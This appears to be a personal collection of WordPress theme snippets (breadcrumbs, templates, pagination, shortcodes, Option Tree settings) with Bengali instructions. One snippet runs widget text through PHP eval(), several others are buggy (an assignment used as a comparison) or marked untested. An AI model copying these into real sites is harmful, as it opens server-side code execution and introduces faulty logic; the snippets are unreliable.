- if ($thisCat->parent != 0) echo get_category_parents($thisCat->parent, TRUE, ' ' . $delimiter . ' ');
- echo $before . 'Archive by category "' . single_cat_title('', false) . '"' . $after;
- } elseif ( is_search() ) {
- echo $before . 'Search results for "' . get_search_query() . '"' . $after;
- } elseif ( is_day() ) {
- echo '<a href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a> ' . $delimiter . ' ';
- echo '<a href="' . get_month_link(get_the_time('Y'),get_the_time('m')) . '">' . get_the_time('F') . '</a> ' . $delimiter . ' ';
- echo $before . get_the_time('d') . $after;
- } elseif ( is_month() ) {
- echo '<a href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a> ' . $delimiter . ' ';
- echo $before . get_the_time('F') . $after;
- } elseif ( is_year() ) {
- echo $before . get_the_time('Y') . $after;
- } elseif ( is_single() && !is_attachment() ) {
- if ( get_post_type() != 'post' ) {
- $post_type = get_post_type_object(get_post_type());
- $slug = $post_type->rewrite;
- echo '<a href="' . $homeLink . '/' . $slug['slug'] . '/">' . $post_type->labels->singular_name . '</a>';
- if ($showCurrent == 1) echo ' ' . $delimiter . ' ' . $before . get_the_title() . $after;
- } else {
- $cat = get_the_category(); $cat = $cat[0];
- $cats = get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');
- if ($showCurrent == 0) $cats = preg_replace("#^(.+)\s$delimiter\s$#", "$1", $cats);
- echo $cats;
- if ($showCurrent == 1) echo $before . get_the_title() . $after;
- }
- } elseif ( !is_single() && !is_page() && get_post_type() != 'post' && !is_404() ) {
- $post_type = get_post_type_object(get_post_type());
- echo $before . $post_type->labels->singular_name . $after;
- } elseif ( is_attachment() ) {
- $parent = get_post($post->post_parent);
- $cat = get_the_category($parent->ID); $cat = $cat[0];
- echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');
- echo '<a href="' . get_permalink($parent) . '">' . $parent->post_title . '</a>';
- if ($showCurrent == 1) echo ' ' . $delimiter . ' ' . $before . get_the_title() . $after;
- } elseif ( is_page() && !$post->post_parent ) {
- if ($showCurrent == 1) echo $before . get_the_title() . $after;
- } elseif ( is_page() && $post->post_parent ) {
- $parent_id = $post->post_parent;
- $breadcrumbs = array();
- while ($parent_id) {
- $page = get_page($parent_id);
- $breadcrumbs[] = '<a href="' . get_permalink($page->ID) . '">' . get_the_title($page->ID) . '</a>';
- $parent_id = $page->post_parent;
- }
- $breadcrumbs = array_reverse($breadcrumbs);
- for ($i = 0; $i < count($breadcrumbs); $i++) {
- echo $breadcrumbs[$i];
- if ($i != count($breadcrumbs)-1) echo ' ' . $delimiter . ' ';
- }
- if ($showCurrent == 1) echo ' ' . $delimiter . ' ' . $before . get_the_title() . $after;
- } elseif ( is_tag() ) {
- echo $before . 'Posts tagged "' . single_tag_title('', false) . '"' . $after;
- } elseif ( is_author() ) {
- global $author;
- $userdata = get_userdata($author);
- echo $before . 'Articles posted by ' . $userdata->display_name . $after;
- } elseif ( is_404() ) {
- echo $before . 'Error 404' . $after;
- }
- if ( get_query_var('paged') ) {
- if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' (';
- echo __('Page') . ' ' . get_query_var('paged');
- if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')';
- }
- echo '</div>';
- }
- } // end the_breadcrumb()
- // this code paste in your target.php file
- <?php the_breadcrumb(); ?>
- ==================================================
- //Single page তৈরি করতে এই কোডটি call করতে হয়।
- ==================================================
- //For single.php
- --------------------------------------------------
- /* copy and past in single.php */
- <?php if(have_posts()) : ?><?php while(have_posts()) : the_post(); ?>
- <h2><?php the_title(); ?></h2>
- <?php the_content(); ?>
- <?php comments_template( '', true ); ?>
- <?php endwhile; ?>
- <?php else : ?>
- <h3><?php _e('404 Error: Not Found'); ?></h3>
- <?php endif; ?>
- ====================================================
- //search.php
- ====================================================
- search করার জন্য root ফোল্ডারে search.php নামে একটি পেজ তৈরি করতে হয়।
- ----------------------------------------------------
- <h2 class="latest_frm_cat_title archive_title"><?php printf ( __ (
- 'search Results for : %s', 'brightpage' ), '<span>' .
- get_search_query() . '</span>' ); ?> </h2>
- <?php if (have_posts()) : ?>
- <?php get_template_part('post-excerpt'); ?>
- <?php else : ?>
- <h3 class="archive_not_found">404 not found </h3>
- <?php endif; ?>
- -------------------- Or --------------------
- <?php if ( have_posts() ) : ?>
- <h1 class="search-page-title"><?php printf( __( 'Search Results for: %s' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
- <?php
- get_template_part( 'post-loop', 'search' );
- ?>
- <?php else : ?>
- <div id="post-0" class="post no-results not-found">
- <h2 class="entry-title"><?php echo __( 'Nothing Found' ); ?></h2>
- <div class="entry-content">
- <p><?php echo __( 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.' ); ?></p>
- <a id="submit" href="<?php bloginfo( 'home' ); ?>">Home</a>
- </div><!-- .entry-content -->
- </div><!-- #post-0 -->
- <?php endif; ?>
- HEADER a use korte hobe inputgolor jagay
- -----------------------------------------------------------------
- <form role="search" method="get" id="searchform" action="<?php echo home_url( '/' ); ?>">
- <div class="search floatright fix">
- <input type="text" name="s" id="s" placeholder="Looking For Somthing" />
- <input type="submit" value="GO"/>
- </div>
- </form>
- =================================================
- //archive.php
- =================================================
- Archive করে রাখার জন্য এই কোড দিয়ে root ফোল্ডারে archive.php নামে একটি পেজ তৈরি করতে হয়।
- -------------------------------------------------
- <h1 class="archivetitle">
- <?php if (have_posts()) : ?>
- <?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
- <?php /* If this is a category archive */ if (is_category()) { ?>
- <?php _e('Archive for the'); ?> '<?php echo single_cat_title(); ?>' <?php _e('Category'); ?>
- <?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
- <?php _e('Archive for the'); ?> <?php single_tag_title(); ?> Tag
- <?php /* If this is a daily archive */ } elseif (is_day()) { ?>
- <?php _e('Archive for'); ?> <?php the_time('F jS, Y'); ?>
- <?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
- <?php _e('Archive for'); ?> <?php the_time('F, Y'); ?>
- <?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
- <?php _e('Archive for'); ?> <?php the_time('Y'); ?>
- <?php /* If this is a search */ } elseif (is_search()) { ?>
- <?php _e('Search Results'); ?>
- <?php /* If this is an author archive */ } elseif (is_author()) { ?>
- <?php _e('Author Archive'); ?>
- <?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
- <?php _e('Blog Archives'); ?>
- <?php } ?>
- </h1>
- <div class="your_div_class">
- <?php get_template_part('post-excerpt'); ?>
- </div>
- <?php else : ?>
- <div class="your_div_class floatleft">
- <h3><?php _e('404 Error: Not Found'); ?></h3>
- </div>
- <?php endif; ?>
- ==================================================
- নাম্বার সহ পেজিনেশন আনার জন্য এই কোড।
- ==================================================
- //For Numbering Pagination
- --------------------------------------------------
- /* copy and past in functions.php for numbering pagination */
- function pagination() {
- if( is_singular() )
- return;
- global $wp_query;
- /** Stop execution if there's only 1 page */
- if( $wp_query->max_num_pages <= 1 )
- return;
- $paged = get_query_var( 'paged' ) ? absint( get_query_var( 'paged' ) ) : 1;
- $max = intval( $wp_query->max_num_pages );
- /** Add current page to the array */
- if ( $paged >= 1 )
- $links[] = $paged;
- /** Add the pages around the current page to the array */
- if ( $paged >= 3 ) {
- $links[] = $paged - 1;
- $links[] = $paged - 2;
- }
- if ( ( $paged + 2 ) <= $max ) {
- $links[] = $paged + 2;
- $links[] = $paged + 1;
- }
- echo '<div class="post_page_pagination fix"><ul class="pp_pagination fix">' . "\n";
- /** Previous Post Link */
- if ( get_previous_posts_link() )
- printf( '<li>%s</li>' . "\n", get_previous_posts_link('<i class="fa fa-angle-left"></i>') );
- /** Link to first page, plus ellipses if necessary */
- if ( ! in_array( 1, $links ) ) {
- $class = 1 == $paged ? ' class="active"' : '';
- printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( 1 ) ), '1' );
- if ( ! in_array( 2, $links ) )
- echo '<li>…</li>';
- }
- /** Link to current page, plus 2 pages in either direction if necessary */
- sort( $links );
- foreach ( (array) $links as $link ) {
- $class = $paged == $link ? ' class="active"' : '';
- printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( $link ) ), $link );
- }
- /** Link to last page, plus ellipses if necessary */
- if ( ! in_array( $max, $links ) ) {
- if ( ! in_array( $max - 1, $links ) )
- echo '<li>…</li>' . "\n";
- $class = $paged == $max ? ' class="active"' : '';
- printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( $max ) ), $max );
- }
- /** Next Post Link */
- if ( get_next_posts_link() )
- printf( '<li%s><a href="%s"><i class="fa fa-angle-right"></i></a></li>' . "\n", $class, esc_url( get_pagenum_link( $max ) ), $max );
- echo '</ul></div>' . "\n";
- }
- /* Use this code and post in loop.php */
- <?php if (function_exists("pagination")) {
- pagination($additional_loop->max_num_pages);
- }
- ?>
- =========================================================
- // shortcode এর জন্য code
- =========================================================
- // without attribute
- ---------------------------------------------------------
- function vimeo_shortcode( $atts, $content = null ) {
- return '<iframe src="//player.vimeo.com/video/'.$content.'" width="500" height="281" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>';
- }
- add_shortcode('vimeo', 'vimeo_shortcode');
- // with attribute
- ---------------------------------------------------------
- function vimeo_video_shortcode( $atts, $content = null ) {
- $a = shortcode_atts( array(
- 'id' => '74715441'
- ), $atts );
- return'<div class="res_video"><iframe src="http://player.vimeo.com/video/' . esc_attr($a['id']) . '" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe></div>';
- }
- add_shortcode('vimeo', 'vimeo_video_shortcode');
- // do shorcode example start
- function product_shortcode( $atts, $content = null ) {
- return '
- <div class="post_page_slider_social_area fix">
- <div class="post_page_slider_social column fix">
- <div class="post_page_slider_social_wrapper fix">
- <div class="post_content_slider section fix">
- <div class="sc_single_content_slider owl-carousel fix" id="sc_single_content_slider">
- '.do_shortcode($content).'
- </div>
- </div>
- </div>
- </div>
- </div>
- ';
- }
- add_shortcode('product', 'product_shortcode');
- function product_item_shortcode( $atts, $content = null ) {
- extract( shortcode_atts( array(
- 'src' => '',
- 'title' => '',
- ), $atts ) );
- return '
- <div class="item scscs_single">
- <img src="'.$src.'" alt="'.$title.'" />
- </div>
- ';
- }
- add_shortcode('item', 'product_item_shortcode');
- // do shorcode example end
- // shortcode for custom post query
- function wishlist_shortcode($atts){
- extract( shortcode_atts( array(
- 'cat' => '',
- ), $atts, 'wishlist' ) );
- $q = new WP_Query(
- array('posts_per_page' => '4', 'post_type' => 'wishlist-items', 'category_name' => $cat, 'meta_key' => 'order_number','orderby' => 'meta_value','order' => 'ASC')
- );
- $list = '<div class="wishlist_item_list">';
- while($q->have_posts()) : $q->the_post();
- $idd = get_the_ID();
- $wishlist_email = get_post_meta($idd, 'wishlist_email', true);
- $featured_image_url = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'case-study-image' );
- $theme_dir = get_bloginfo('template_directory');
- $item_cats = get_the_terms($post->ID, 'category_name');
- if($item_cats):
- foreach($item_cats as $item_cat) {
- $item_classes = $item_cat->name ;
- }
- endif;
- $list .= '
- <div class="single_wishlist">
- <p>Category Name: '.$item_classes.'</p>
- <div class="wishlist_top">
- <p>'.get_the_title().'<a href="'.get_the_permalink().'">'.$wishlist_email.'</a></p>
- </div>
- <img src="'.$featured_image_url[0].'" alt="" />
- <img src="'.$theme_dir.'/img/link_style.png" alt="" />
- <div class="wishlist_bottom">
- ' .get_the_excerpt(). '
- </div>
- </div>
- ';
- endwhile;
- $list.= '</div>';
- wp_reset_query();
- return $list;
- }
- add_shortcode('wishlist', 'wishlist_shortcode');
- // shortcode for custom post query another way
- function work_shortcode($atts){
- ob_start();
- extract( shortcode_atts( array(
- 'cat' => '',
- ), $atts, 'work' ) );
- $q = new WP_Query(
- array('posts_per_page' => -1, 'post_type' => 'gallery-items', 'work_cat' => $cat, )
- );
- ?><div class="grid js-masonry" data-masonry='{ "itemSelector": ".grid-item", "columnWidth": ".grid-sizer", "percentPosition": true , "gutter": 0}'>
- <div class="grid-sizer"></div>
- <div class="gutter-sizer"></div>
- <?php while( $q->have_posts()) : $q->the_post(); ?>
- <?php
- $idd = get_the_ID();
- $select_big = get_post_meta($idd, 'select_big', true);
- if($select_big == 'Big'){
- $namdilam = 'grid-item--width2';
- } else{
- $namdilam = 'small_grid';
- }
- $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' );
- $video_url= get_post_meta($idd, 'video_url', true);
- $video_check= get_post_meta($idd, 'video_checkbox', true);
- if($video_check == 'on'){
- $img_linkk = $video_url;
- $imag_clss = 'mfp-iframe';
- } else{
- $img_linkk = $image[0];
- $imag_clss = 'gallery-items';
- }
- ?>
- <div class="grid-item <?php echo $namdilam; ?> ">
- <a class="<?php echo $imag_clss; ?>" title="<?php the_title();?>" href="<?php echo $img_linkk; ?>">
- <?php
- if($select_big == 'Big'){
- the_post_thumbnail('gallr-big');
- } else{
- the_post_thumbnail('galler-small');
- }
- ?>
- </a>
- <?php
- $images_list = get_post_meta($idd, 'galery_list', true);
- foreach( $images_list as $attachment_id => $attachment_url ) {
- $attachment_title = get_the_title($attachment_id);
- echo '<a title="'.$attachment_title.'" href="' . $attachment_url. '"></a>';
- } ?>
- <h2 class="project-name">· <?php the_title();?> ·</h2>
- </div>
- <?php endwhile; ?>
- </div>
- <?php wp_reset_postdata();
- return ob_get_clean();
- }
- add_shortcode('work', 'work_shortcode');
- //widget এর text এ shoortcode support করানোর জন্য functions.php তে এই code টি কল করতে হবে
- --------------------------------------------------------
- add_filter('widget_text', 'do_shortcode');
- //widget এর text এ PHP code support করানোর জন্য functions.php তে এই code টি কল করতে হবে
- --------------------------------------------------------
- add_filter('widget_text','execute_php',100);
- function execute_php($html){
- if(strpos($html,"<"."?php")!==false){
- ob_start();
- eval("?".">".$html);
- $html=ob_get_contents();
- ob_end_clean();
- }
- return $html;
- }
- // do-shortcode এর জন্য code টি দিয়ে আপনার নির্দিষ্ট স্থানে paste করুন
- --------------------------------------------------------
- <?php echo do_shortcode('[your_desired_shortcode]'); ?>
- //custom_post in shortcode এর shortcode
- --------------------------------------------------------
- function category_post_shortcode($atts){
- extract( shortcode_atts( array(
- 'title' => '',
- 'link' => '',
- 'category' => '',
- ), $atts, 'category_post' ) );
- $q = new WP_Query(
- array( 'category' => $category, 'posts_per_page' => '3', 'post_type' => 'post')
- );
- $list = '<div class="latest_from_category"><h2 class="latest_frm_cat_title">'.$title.'</h2> <a href="'.$link.'" class="latest_more_link">more</a>';
- while($q->have_posts()) : $q->the_post();
- //get the ID of your post in the loop
- $id = get_the_ID();
- $post_sub = get_post_meta($id, 'post_sub', true);
- $post_thumbnail= get_the_post_thumbnail( $post->ID, 'post-thumbnail' );
- $list .= '
- <div class="single_cate_post floatleft">
- '.$post_thumbnail.'
- <h3>'.get_the_title().'</h3>
- <p>'.$post_sub.'</p>
- <a href="'.get_permalink().'" class="readmore">Read More</a>
- </div>
- ';
- endwhile;
- $list.= '</div>';
- wp_reset_query();
- return $list;
- }
- add_shortcode('category_post', 'category_post_shortcode');
- //custom_post shortcode এর list এ html code এর ভিতর <?php the_title?>এবং <?php the_content?> পরিবর্তে হবে --------------------------------------------------------
- '.get_the_title().' or ' .do_shortcode( get_the_title() ). '
- '.get_the_content().'
- '.get_the_permalink().'
- ' .get_the_excerpt(). '
- '.get_the_date().'
- '.get_the_author().'
- '. get_site_url() .'
- '.get_the_time( 'd/m/y', $post->ID).'
- //for featured image
- $featured_image_url = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'case-study-image' );
- <img src="'.$featured_image_url[0].'" alt="" />
- or
- $post_thumbnail= get_the_post_thumbnail( $post->ID, 'portfolio-thumbnail' );
- '.$post_thumbnail.'
- //for Template directory uri
- $theme_dir = get_bloginfo('template_directory');
- <img src="'.$theme_dir.'/img/link_style.png" alt="" />
- //for get metabox display
- $idd = get_the_ID();
- $animal_sub = get_post_meta($idd, 'animal_sub', true);
- -- display by this --
- <p>'.$animal_sub.'</p>
- //for Texonomy name
- $item_cats = get_the_terms($post->ID, 'slider_cat');
- if($item_cats):
- foreach($item_cats as $item_cat) {
- $item_classes = $item_cat->name ;
- }
- endif;
- -- display by this --
- <p>'.$item_classes.'</p>
- ========================================================
- //For 404 page
- ========================================================
- <!-- copy and past in 404.php -->
- <div class="not_found">
- <h1>404 not found!</h1>
- <p>Sorry, but the page you are trying to reach is unavailable or does not exist.</p>
- <a id="submit" href="<?php bloginfo( 'home' ); ?>">Home</a>
- </div>
- ========================================================
- //Reply Comment Scripts
- ========================================================
- <!-- copy and past in functions.php -->
- function comment_scripts(){
- if ( is_singular() ) wp_enqueue_script( 'comment-reply' );
- }
- add_action( 'wp_enqueue_scripts', 'comment_scripts' );
- <!-- copy and past in comments.css From E/All source/comments.css -->
- for
- ==================================================
- Wordpress এ SMOF
- ==================================================
- SMOF এর section array
- --------------------------------------------------
- $of_options[] = array( "name" => "General Settings",
- "type" => "heading"
- );
- Wordpress এ SMOF এর array
- --------------------------------------------------
- $of_options[] = array( "name" => "Phone number",
- "desc" => "your phone number here",
- "id" => "phone_number",
- // Use the shortcodes [site_url] or [site_url_secure] for setting default URLs
- "std" => "0535 954 74 54",
- "type" => "text"
- );
- SMOF এর option active code এটা target.php তে নির্দিষ্ট স্থানে paste হবে
- --------------------------------------------------
- <?php echo do_shortcode(stripslashes($data['phone_number'])); ?>
- ==========================================================
- //Option Tree
- ==========================================================
- প্রথমে wordpress.org থেকে option tree download করুন
- Download Option Tree: http://wordpress.org/extend/plugins/option-tree/
- ডাউনলোড করার পর আপনার থিমে option-tree folder টি রেখে দিবেন
- option-tree folderএর মধ্যে থাকা ot-loader.php টি function এ include করতে হবে
- function এ গিয়ে প্রথমে
- //Activate Option Tree just copy & paste this code in functions.php
- //add_filter( 'ot_show_pages', '__return_false' ); কাজ শেষে এই লাইনটির কমেন্ট উঠিয়ে দিতে হবে
- add_filter( 'ot_show_new_layout', '__return_false' );
- add_filter( 'ot_theme_mode', '__return_true' );
- include_once( 'option-tree/ot-loader.php' );
- include_once( 'inc/theme-options.php' );
- include_once( 'inc/meta-boxes.php' );
- Meta-box build-up করার জন্য প্রথমে assets > theme-mode > demo-meta-boxes.php ফাইলটি কপি করুন তারপর আপনার থিমের মধ্যে একটা ফোল্ডার করবেন নাম দিবেন inc এবার এই folder এর ভিতর ফাইলটি pasteকরুন এবার ফাইলটির নাম পরিবর্তন করে শুধু meta-boxes.php নাম দিন। এবার functons.php তে গিয়ে ফাইলটি চিনিয়ে দিবেন include_once('inc/meta-boxes.php'); এই লাইনটি লিখে দিবেন। এবার meta-boxes.php ফাইলটি ওপেন করুন
- function custom_meta_boxes() {
- /*
- * Create a custom meta boxes array that we pass to
- * the OptionTree Meta Box API Class.
- */
- $my_meta_box/*আপনার meta_box যেকোনো নাম */ = array(
- 'id' => 'demo_meta_box',/* আপনার meta_box নাম এবং id একই হইতে পারে */
- 'title' => __( 'Demo Meta Box', 'theme-text-domain' ),/* আপনার meta_box এর titl */
- 'desc' => '',/* আপনার meta_box এর দিকনির্দেশনা */
- 'pages' => array( 'post' ),/* আপনার post-type এর নাম */
- 'context' => 'normal',
- 'priority' => 'high',
- 'fields' => array(
- array(
- 'label' => __( 'Conditions', 'theme-text-domain' ),/* আপনার meta_box এর option এর label বা নাম */
- 'id' => 'demo_conditions', /* আপনার custom-field id নাম */
- 'desc' => '', /* আপনার meta_box এর option এর দিকনির্দেশনা */
- 'type' => 'tab',/* আপনার meta_box এর option এর type */
- 'std' => 'off',/* আপনার meta_box এর option এর default data যেটা দেখতে চান */
- 'operator' => 'and',
- 'condition' => 'demo_show_gallery:is(on),demo_gallery:not()'
- ),
- )
- );
- /**
- * Register our meta boxes using the
- * ot_register_meta_box() function.
- */
- if ( function_exists( 'ot_register_meta_box' ) )
- ot_register_meta_box( $my_meta_box );/* সবশেষে আপনার meta_box নাম দিয়ে শেষ করতে হবে*/
- }
- this code is for specific page metabox
- --------------------------------------------
- $price_page_meta_box = array(
- 'id' => 'price_page_meta_box',
- 'title' => 'Pricing Page Table Information',
- 'desc' => '',
- 'pages' => array( 'page' ),
- 'context' => 'normal',
- 'priority' => 'high',
- 'fields' => array(
- array(
- 'label' => 'Pricing Page Table Head',
- 'id' => 'pric_table_head',
- 'std' => '',
- 'type' => 'textarea'
- ),
- )
- );
- $post_id = $_GET['post'] ? $_GET['post'] : $_POST['post_ID'];
- $template_file = get_post_meta($post_id, '_wp_page_template', TRUE);
- if ($template_file == 'price-newmeta.php') {
- ot_register_meta_box( $price_page_meta_box );
- }
- এবার dashboard গিয়ে দেখবেন custom-field এর স্থলে আলাদাভাবে meta-boxes চলে এসেছে
- //option tree থেকে শুধুমাত্র metabox use করতে নিচের code লেখুন functions.php
- add_filter( 'ot_show_pages', '__return_false' );
- add_filter( 'ot_use_theme_options', '__return_false' );
- ====/ or /====
- function remove_ot_menu () {
- remove_submenu_page( 'themes.php', 'ot-theme-options' );
- }
- add_action( 'admin_init', 'remove_ot_menu' );
- option build-up করার জন্য প্রথমে assets > theme-mode > demo-theme-options.php ফাইলটি কপি করুন তারপর আপনার থিমের মধ্যে একটা ফোল্ডার করবেন নাম দিবেন inc এবার এই folder এর ভিতর ফাইলটি pasteকরুন এবার ফাইলটির নাম পরিবর্তন করে শুধু theme-options.php নাম দিন। এবার functons.php তে গিয়ে ফাইলটি চিনিয়ে দিবেন include_once(meta'inc/theme-options.php'); এই লাইনটি লিখে দিবেন। এবার dashboard > appearance গিয়ে দেখবেন theme option চলে এসেছে
- এবার theme-options.php ফাইলটির ভিতরের যেই sections এবং settings গুলি দরকার নেই সেইগুলি কেটে দিব। settings এর ভিতর যতগুলি array নিবেন ততগুলি option তৈরি হবে প্রত্যেকটি sections এর under এ।sections গুলু আপনার ইচ্ছামত যেইকয়টা লাগবে সেই কয়টা নিতে পারবেন এবং নাম দিতে পারবেন। এ। sections এর array তেtitle & id নিলেই হবে আর কিছু লাগবেনা
- //Create Option Tree In the theme-options.php
- -----------------------------------------------------------
- <?php
- add_action( 'admin_init', 'custom_theme_options', 1 );
- function custom_theme_options() {
- $saved_settings = get_option( 'option_tree_settings', array() );
- $custom_settings = array(
- 'sections' => array(
- array(
- 'id' => 'general',
- 'title' => 'Site Settings'
- )
- ),
- 'settings' => array(
- array(
- 'id' => 'logo_text',
- 'label' => 'Logo Text',
- 'desc' => 'Use H1, H2, H3 tag',
- 'type' => 'textarea',
- 'section' => 'general'
- ),
- array(
- 'id' => 'footer_text',
- 'label' => 'Footer Text',
- 'type' => 'textarea',
- 'section' => 'general'
- )
- )
- );
- if ( $saved_settings !== $custom_settings ) {
- update_option( 'option_tree_settings', $custom_settings );
- }
- }
- ?>
- //Get Data From Option Tree
- ------------------------------------------------------
- //Condtional Data
- <?php if ( function_exists( 'get_option_tree') ) : if( get_option_tree( 'your_tree_id') ) : ?>
- <?php get_option_tree( 'your_tree_id', '', true ); ?>
- <?php else : ?>
- Your Default Data here
- <?php endif; endif; ?>
- == example ==
- <?php if ( function_exists( 'get_option_tree') ) : if( get_option_tree( 'header-logo') ) : ?>
- <img src="<?php get_option_tree( 'header-logo', '', true ); ?>" alt="" />
- <?php else : ?>
- <img src="<?php echo get_template_directory_uri(); ?>/img/logo.png" alt="" />
- <?php endif; endif; ?>
- ---------or----------------
- <?php
- $facebook = get_option_tree('facebook-link', '', false);
- ?>
- <?php echo $facebook; ?>
- ---------or----------------
- <?php get_option_tree( 'logo_link1', '', true ); ?>
- //Get Data From Option Tree Metabox
- ------------------------------------------------------
- <?php
- $case_sub = get_post_meta($post->ID, 'case_sub', true);
- ?>
- <?php echo $case_sub; ?>
- ---------or----------------
- <?php echo get_post_meta($post->ID, 'case_sub', true); ?>
- // this code for css style dynamic by theme option and metabox
- <style type="text/css">
- .logo {background: url(<?php get_option_tree( 'logo', '', 'true' ); ?>) no-repeat center center;}
- .prcbanner_content h1{color:<?php echo get_post_meta($post->ID, 'picker', true); ?>}
- </style>
- /*for option tree metabox short code support */
- <?php
- $mixitup = get_post_meta($post->ID, 'mixitup', true);
- ?>
- <?php echo do_shortcode($mixitup); ?>
- ======================================================
- How to get cropped / resized images through option tree meta box
- metabox image resize code
- ======================================================
- // register your gallery type meta box and use the following code to display images.
- <?php
- if ( function_exists( 'ot_get_option' ) ) {
- $images = explode( ',', get_post_meta( get_the_ID(), 'field-id', true ) );
- if ( !empty( $images ) ) {
- foreach( $images as $id ) {
- if ( !empty( $id ) ) {
- $full_img_src = wp_get_attachment_image_src( $id, 'your_crop_image' );
- echo '<li><img src="' . $full_img_src[0]. '"/></li>';
- }
- }
- }
- }
- ?>
- In line no 4 the field-id is your meta box id.You can define as much as image sizes you want with your-image-size which you can see in the line no 08 & 09 . The your-image-size is your image id which you created by add_image_size() function in the functions.php .Thank You!
- //------------------ another way maybe works not tested ------------------------------
- $burst_img = get_post_meta( $post->ID, 'burst_img',true);
- $burst_img=wp_get_attachment_image_src( $burst_img, 'full' );
- //option tree image resize code
- paste this code into functions.php
- ----------------------------------
- function custom_get_attachment_id( $guid ) {
- global $wpdb;
- /* nothing to find return false */
- if ( ! $guid )
- return false;
- /* get the ID */
- $id = $wpdb->get_var( $wpdb->prepare(
- "
- SELECT p.ID
- FROM $wpdb->posts p
- WHERE p.guid = %s
- AND p.post_type = %s
- ",
- $guid,
- 'attachment'
- ) );
- /* the ID was not found, try getting it the expensive WordPress way */
- if ( $id == 0 )
- $id = url_to_postid( $guid );
- return $id;
- }
- paste this code where you want to display
- -------------------------------------
- $slides = ot_get_option( 'my_slider', array() );
- if ( ! empty( $slides ) ) {
- foreach( $slides as $slide ) {
- $id = custom_get_attachment_id( $slide['image'] );
- $src = wp_get_attachment_image_src( $id, 'you-image-size' );
- echo 'HTML HERE';
- }
- }
- ---------------- // or try this ----------------------------
- if ( function_exists( 'ot_get_option' ) ) {
- $images = explode( ',', ot_get_option( 'field_id', '' ) );
- if ( ! empty( $images ) ) {
- foreach( $images as $id ) {
- if ( ! empty( $id ) ) {
- $full_img_src = wp_get_attachment_image_src( $id, 'your_crop_image' );
- echo '<li><img src="' . $full_img_src[0]. '"/></li>';
- }
- }
- }
- }
- //------------------ another way maybe works not tested ------------------------------
- $burst_img = ot_get_option('burst_img','');
- $burst_img=wp_get_attachment_image_src( $burst_img, 'full' );
- =======================================================
- metabox category-select type query code
- =======================================================
- <?php
- $cat = ot_get_option( 'your_id', '', false, true, 0 );
- $args = array( 'numberposts' =>1, 'category'=> $cat);
- $postslist = get_posts( $args );
- foreach ($postslist as $post) : setup_postdata($post);
- ?>
- <?php the_title(); ?>
- <?php the_content(); ?>
- <?php endforeach; ?>
- =======================================================
- metabox slide type query code fpr owl slider
- =======================================================
- //this code paste in metabox.php file
- array(
- 'id' => 'spyr_demo_slider',
- 'label' => __( 'Slider', 'text-domain' ),
- 'desc' => __( 'Your description', 'text-domain' ),
- 'type' => 'slider',
- )
- //this code paste in template.php file
- <?php
- $spyr_demo_slider = get_post_meta( $post->ID, 'spyr_demo_slider', true );
- // Loop through the array to build your Slider.
- // Note that every slider is different
- // We have access to the following array keys
- // title, description, image and link
- echo '<div id="owl-demo" class="owl-theme">';
- foreach( $spyr_demo_slider as $slide ) {
- echo '<div class="item"><img src="'. $slide['image'] .'" width="100%" height="auto"
- alt="'. $slide['description'] .'" title="'. $slide['title'] .'" /></div>';
- }
- echo '</div>';
- ?>
- =======================================================
- metabox list type query code
- =======================================================
- <?php
- $list_item = ot_get_option( 'id', array() );
- if ( !empty( $list_item ) ) {
- echo '<div>';
- foreach( $list_item as $name ) {
- echo '<div>'.$name['title'].'</div>
- ';
- }
- echo '</div>';
- }
- ?>
- ------------------------------------------------------
- //Simple Data
- <?php get_option_tree( 'facebook', '', true ); ?>
- নিচের কোডগুলু দিয়েও করা যায় । অনেকগুলু option দরকার হইলে আমরা variable নিয়ে করব যাতে করে আমরা echo করে নিয়ে নিতে পারি । আমরা যখন condition ব্যাবহার করবো তখন variable নেওয়া লাগে।
- <?php $your_variable = get_option_tree( 'your_tree_id', '', false ); ?>
- <?php echo $your_variable; ?> এই কোডটি যেখানে দরকার সেখানে paste করব
- -------------------------------------------------------------
- প্রথমে variable নিতে হবে নোটঃ একাধিক option দরকার হইলে একাধিক variable নিবেন <?php এখানে হবে ?>
- যেমনঃ
- <?php $your_variable = get_option_tree( 'your_tree_id', '', false )
- $your_variable = get_option_tree( 'your_tree_id', '', false );
- ?>
- তারপর নিচে নিচে condition হবে প্রত্যেকটার জন্য আলাদা আলাদা করে condition নিবেন
- যেমনঃ
- <?php if(your_variable) : ?>
- <?php echo $your_variable; ?>
- <?php else : ?>
- your fallback data
- <?php endif; ?>
- <?php if(your_variable) : ?>
- <?php echo $your_variable; ?>
- <?php else : ?>
- your fallback data
- <?php endif; ?>
- // slider না দেখতে চাইলে নিচের কোডগুলি দিয়ে করতে পারেন
- <?php
- $slider_appearance = get_option_tree( 'slider_appearance', '', false );
- ?>
- <?php if($slider_appearance = 'no') : ?>
- <?php /* No Data */?>
- <?php if($slider_appearance = 'yes') : ?>
- <?php get_template_part('slider'); ?>
- <?php endif; endif; ?>
- ============================================================
- // REMOVE BAD P and BR TAGS FROM NAME ANCHORS
- ============================================================
- add_filter('the_content', 'remove_bad_pbr_tags');
- function remove_bad_pbr_tags($content) {
